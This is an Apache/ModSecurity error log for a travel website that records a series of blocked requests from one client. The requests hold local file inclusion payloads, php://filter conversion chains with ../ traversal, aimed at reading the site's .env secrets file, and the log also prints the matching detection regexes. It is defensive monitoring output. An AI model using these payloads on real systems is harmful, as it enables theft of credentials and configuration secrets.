[Fri Jul 17 08:55:10.744590 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.744930 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.745934 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.746065 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.746329 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.748755 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=qqYnHoo4ouXYUcf3uu9D5ss5N3DPXGR_wdosM0FNXQXFHjmQJKn_TrMZyQppLvNO9Fj2mNRN7k8QEqeLVgB0E0r87eGz3mTEplsaknJB7_cIlyNzvALOrwvqmZPuxiLNVXxDPyFbuGaVm4BV7IFeBqqpC9YfxLHBTwfoIavvpfKBLNtnaUuhIIiLLiP47kJoA2ZJZDPuTy4HxiBEsdtR4MxQ7zCFesPthrClievu8Ovi1FL79QLbcubfCFn-QewypeJ6M4C5nKQMefV5jU14ObGl&ts=LCTSFSR4YEC32S7UKBI7QI2CHDQ63ALSDCR4RARAXSU2TKIQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.748831 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.748919 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=qqYnHoo4ouXYUcf3uu9D5ss5N3DPXGR_wdosM0FNXQXFHjmQJKn_TrMZyQppLvNO9Fj2mNRN7k8QEqeLVgB0E0r87eGz3mTEplsaknJB7_cIlyNzvALOrwvqmZPuxiLNVXxDPyFbuGaVm4BV7IFeBqqpC9YfxLHBTwfoIavvpfKBLNtnaUuhIIiLLiP47kJoA2ZJZDPuTy4HxiBEsdtR4MxQ7zCFesPthrClievu8Ovi1FL79QLbcubfCFn-QewypeJ6M4C5nKQMefV5jU14ObGl&ts=LCTSFSR4YEC32S7UKBI7QI2CHDQ63ALSDCR4RARAXSU2TKIQVT4M3WWJHOAOGXOBA4LWXVCXUUD2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.748967 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=qqynhoo4ouxyucf3uu9d5ss5n3dpxgr_wdosm0fnxqxfhjmqjkn_trmzyqpplvno9fj2mnrn7k8qeqelvgb0e0r87egz3mteplsaknjb7_cilynzvalorwvqmzpuxilnvxxdpyfbugavm4bv7ifebqqpc9yfxlhbtwfoiavvpfkblntnauuhiiillip47kjoa2zjzdputy4hxibesdtr4mxq7zcfespthrclievu8ovi1fl79qlbcubfcfn-qewypej6m4c5nkqmefv5ju14obgl&ts=lctsfsr4yec32s7ukbi7qi2chdq63alsdcr4raraxsu2tkiqvt4m3wwjhoaogxoba4lwxvcxuud2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.749028 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.749108 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.749697 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.749701 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dgAAABA"]
[Fri Jul 17 08:55:10.751217 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dgAAABA"]
[Fri Jul 17 08:55:10.751402 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.751503 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.751732 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.751853 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8dgAAABA"]
[Fri Jul 17 08:55:10.752307 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllCBpfuYyhJ140vSYQAAAB4"]
[Fri Jul 17 08:55:10.772480 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-IwAAABw"]
[Fri Jul 17 08:55:10.773545 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-IwAAABw"]
[Fri Jul 17 08:55:10.773689 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.773962 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=s7rl8Ueph_UfGZq6Ja5csTopmY7BL61IeuQJvyfw6_dodCEG2rhRtsv834DgusbSmQgmBC6tAWInTce5cGkgz2ZXwoCmu1lZRa69JR0V0_hqsrSyc-pnrmUrGUnsdM7f5egPHnAU10db1K47cW5Of-3bElfX6ge7cv68xRxqkvEufonKjkv9uteu5qRnvpeKgvyJtmszo00Q5FMXjKiNCI--muVhmOWRqYrwGC27nY54QJykJ8iGd9J_CRxJV095u7JrI1xc1EX1CThLkrP0BuG4&junk=D6KCOKNIPJXRZATRFT4OKKV7XWIZQ2GUCTBCKVPOAYDNUI4OXZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.773971 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloZvbo7N5o5zeYC-IwAAABw"]
[Fri Jul 17 08:55:10.774000 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.774045 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&sid=s7rl8Ueph_UfGZq6Ja5csTopmY7BL61IeuQJvyfw6_dodCEG2rhRtsv834DgusbSmQgmBC6tAWInTce5cGkgz2ZXwoCmu1lZRa69JR0V0_hqsrSyc-pnrmUrGUnsdM7f5egPHnAU10db1K47cW5Of-3bElfX6ge7cv68xRxqkvEufonKjkv9uteu5qRnvpeKgvyJtmszo00Q5FMXjKiNCI--muVhmOWRqYrwGC27nY54QJykJ8iGd9J_CRxJV095u7JrI1xc1EX1CThLkrP0BuG4&junk=D6KCOKNIPJXRZATRFT4OKKV7XWIZQ2GUCTBCKVPOAYDNUI4OXZLGI2XVMC26UM6XGFQMJN2WPTZJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.774104 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&sid=s7rl8ueph_ufgzq6ja5cstopmy7bl61ieuqjvyfw6_dodceg2rhrtsv834dgusbsmqgmbc6tawintce5cgkgz2zxwocmu1lzra69jr0v0_hqsrsyc-pnrmurgunsdm7f5egphnau10db1k47cw5of-3belfx6ge7cv68xrxqkveufonkjkv9uteu5qrnvpekgvyjtmszo00q5fmxjkinci--muvhmowrqyrwgc27ny54qjykj8igd9j_crxjv095u7jri1xc1ex1cthlkrp0bug4&junk=d6kcoknipjxrzatrft4okkv7xwizq2guctbckvpoaydnui4oxzlgi2xvmc26um6xgfqmjn2wptzj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.774132 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.774165 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.774523 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.775552 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
